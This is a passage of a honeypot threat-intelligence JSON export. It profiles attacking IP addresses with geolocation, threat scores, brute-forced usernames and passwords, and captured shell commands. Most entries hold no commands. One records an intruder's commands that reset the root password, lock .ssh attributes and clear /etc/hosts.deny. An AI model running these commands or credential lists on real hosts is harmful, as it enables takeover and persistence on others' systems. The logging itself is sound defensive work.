        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T21:34:15.151000+00:00",
        "last_seen_30d": "2026-05-31T03:32:32.498000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 67
      }
    },
    "45.144.233.56": {
      "attack_count": 118,
      "first_seen": "2026-05-24T08:02:56.590Z",
      "last_seen": "2026-05-24T08:35:29.301Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "certftp",
        "tung",
        "user6"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa168168",
        "Ss123456",
        "certftp",
        "mohammad",
        "root123123",
        "thmpv77d6f",
        "tk123456",
        "tung",
        "user6",
        "wang1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:A25eSrVmzzP5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:02:56.590000+00:00",
        "last_seen_30d": "2026-05-24T08:36:34.811000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "102.129.186.123": {
      "attack_count": 102,
      "first_seen": "2026-05-08T06:35:05.084Z",
      "last_seen": "2026-05-31T19:05:22.192Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:35:05.084000+00:00",
        "last_seen_30d": "2026-05-31T19:06:28.209000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "161.81.121.145": {
      "attack_count": 102,
      "first_seen": "2026-05-19T07:41:55.463Z",
      "last_seen": "2026-05-19T17:55:03.088Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:41:55.463000+00:00",
        "last_seen_30d": "2026-05-19T17:56:06.605000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 68
      }
    },
    "34.14.39.28": {
      "attack_count": 86,
      "first_seen": "2026-05-27T04:53:06.851Z",
      "last_seen": "2026-05-27T04:54:00.436Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0"
      ],
      "passwords_attempted": [
        "$4",
        "Cseq: 2810",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "KHTML, like Gecko",
        "PING",
        "",
        "Chrome/127.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "Win64",
        "Windows NT 10.0",
        "Windows NT 10.0 ; Win64 ; x64",
        "x64"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:53:06.851000+00:00",
        "last_seen_30d": "2026-05-27T04:55:09.704000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 86,
        "Suricata": 42
      }
    },
    "184.154.194.183": {
      "attack_count": 84,
      "first_seen": "2026-05-08T18:57:14.769Z",
      "last_seen": "2026-05-31T22:48:50.813Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 51.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T18:57:14.769000+00:00",
        "last_seen_30d": "2026-05-31T22:49:57.991000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "181.99.68.189": {
      "attack_count": 76,
      "first_seen": "2026-05-23T21:22:34.768Z",
      "last_seen": "2026-05-23T21:54:41.630Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:22:34.768000+00:00",
        "last_seen_30d": "2026-05-23T21:55:47.284000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 42
      }
    },
    "2.192.240.66": {
      "attack_count": 76,
      "first_seen": "2026-05-20T06:44:57.271Z",
      "last_seen": "2026-05-20T12:09:27.321Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Ponza",
      "asn": 16232,
      "as_org": "TIM",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T06:44:57.271000+00:00",
        "last_seen_30d": "2026-05-20T12:10:36.061000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 43
      }
    },
    "192.3.145.26": {
      "attack_count": 54,
      "first_seen": "2026-05-27T04:07:02.715Z",
      "last_seen": "2026-05-31T20:13:47.381Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T04:07:02.715000+00:00",
        "last_seen_30d": "2026-05-31T20:14:56.796000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "91.208.197.64": {
      "attack_count": 54,
      "first_seen": "2026-05-09T01:49:17.880Z",
      "last_seen": "2026-05-31T18:16:11.103Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:49:17.880000+00:00",
        "last_seen_30d": "2026-05-31T18:17:14.075000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "27.215.212.253": {
      "attack_count": 50,
      "first_seen": "2026-05-04T02:22:40.356Z",
      "last_seen": "2026-05-04T02:28:04.814Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:22:40.356000+00:00",
        "last_seen_30d": "2026-05-04T02:29:12.099000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "187.224.121.129": {
      "attack_count": 44,
      "first_seen": "2026-05-23T08:17:22.548Z",
      "last_seen": "2026-05-23T13:08:03.894Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:17:22.548000+00:00",
        "last_seen_30d": "2026-05-23T13:09:08.485000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 22
      }
    },
    "178.208.239.41": {
      "attack_count": 42,
      "first_seen": "2026-05-02T07:43:35.263Z",
      "last_seen": "2026-05-02T07:48:07.501Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Surgut",
      "asn": 50923,
      "as_org": "Metroset",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:43:35.263000+00:00",
        "last_seen_30d": "2026-05-02T07:49:12.042000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 24
      }
    },
    "45.194.92.22": {
      "attack_count": 34,
      "first_seen": "2026-05-07T12:25:30.660Z",
      "last_seen": "2026-05-07T12:27:02.119Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:25:30.660000+00:00",
        "last_seen_30d": "2026-05-07T12:28:05.439000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "74.48.46.197": {
      "attack_count": 30,
      "first_seen": "2026-05-09T15:05:29.455Z",
      "last_seen": "2026-05-15T19:44:18.574Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:05:29.455000+00:00",
        "last_seen_30d": "2026-05-15T19:45:20.016000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "165.154.224.129": {
      "attack_count": 25,
      "first_seen": "2026-05-12T04:49:22.545Z",
      "last_seen": "2026-05-12T04:53:19.940Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:48:57.557000+00:00",
        "last_seen_30d": "2026-05-12T04:54:21.002000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "185.134.49.2": {
      "attack_count": 24,
      "first_seen": "2026-05-05T00:47:05.812Z",
      "last_seen": "2026-05-31T13:30:45.003Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 49.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:47:05.812000+00:00",
        "last_seen_30d": "2026-05-31T13:31:51.914000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "116.255.155.36": {
      "attack_count": 16,
      "first_seen": "2026-05-17T19:39:31.748Z",
      "last_seen": "2026-05-17T19:42:38.334Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T19:39:31.748000+00:00",
        "last_seen_30d": "2026-05-17T19:43:46.695000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "213.199.52.47": {
      "attack_count": 12,
      "first_seen": "2026-05-17T23:28:40.340Z",
      "last_seen": "2026-05-29T17:02:26.215Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:28:40.340000+00:00",
        "last_seen_30d": "2026-05-29T17:03:33.689000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "102.210.25.34": {
      "attack_count": 10,
      "first_seen": "2026-05-12T11:21:01.573Z",
      "last_seen": "2026-05-12T11:27:03.669Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": null,
      "asn": 329390,
      "as_org": "DANSTED",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:21:01.573000+00:00",
        "last_seen_30d": "2026-05-12T11:37:09.236000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "201.238.0.80": {
      "attack_count": 10,
      "first_seen": "2026-05-20T00:29:08.587Z",
      "last_seen": "2026-05-20T03:14:39.821Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:29:08.587000+00:00",
        "last_seen_30d": "2026-05-20T03:15:45.695000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "62.98.99.66": {
      "attack_count": 8,
      "first_seen": "2026-05-13T13:21:10.122Z",
      "last_seen": "2026-05-13T13:29:12.355Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Crispano",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:21:10.122000+00:00",
        "last_seen_30d": "2026-05-13T13:30:18.679000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "108.181.2.49": {
      "attack_count": 6,
      "first_seen": "2026-05-18T13:34:25.613Z",
      "last_seen": "2026-05-18T13:34:31.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:34:25.613000+00:00",
        "last_seen_30d": "2026-05-18T13:35:32.230000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.247.137.193": {
      "attack_count": 6,
      "first_seen": "2026-05-31T08:21:52.441Z",
      "last_seen": "2026-05-31T08:21:55.193Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T03:38:55.229000+00:00",
        "last_seen_30d": "2026-05-31T08:22:59.457000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Tanner": 1
      }
    },
    "186.5.106.165": {
      "attack_count": 6,
      "first_seen": "2026-05-26T08:45:08.932Z",
      "last_seen": "2026-05-26T08:51:11.567Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Macar\u00e1",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T08:45:08.932000+00:00",
        "last_seen_30d": "2026-05-26T08:52:13.160000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "217.154.92.76": {
      "attack_count": 5,
      "first_seen": "2026-05-15T08:50:52.270Z",
      "last_seen": "2026-05-15T08:51:57.866Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:04:36.885000+00:00",
        "last_seen_30d": "2026-05-15T08:54:32.369000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
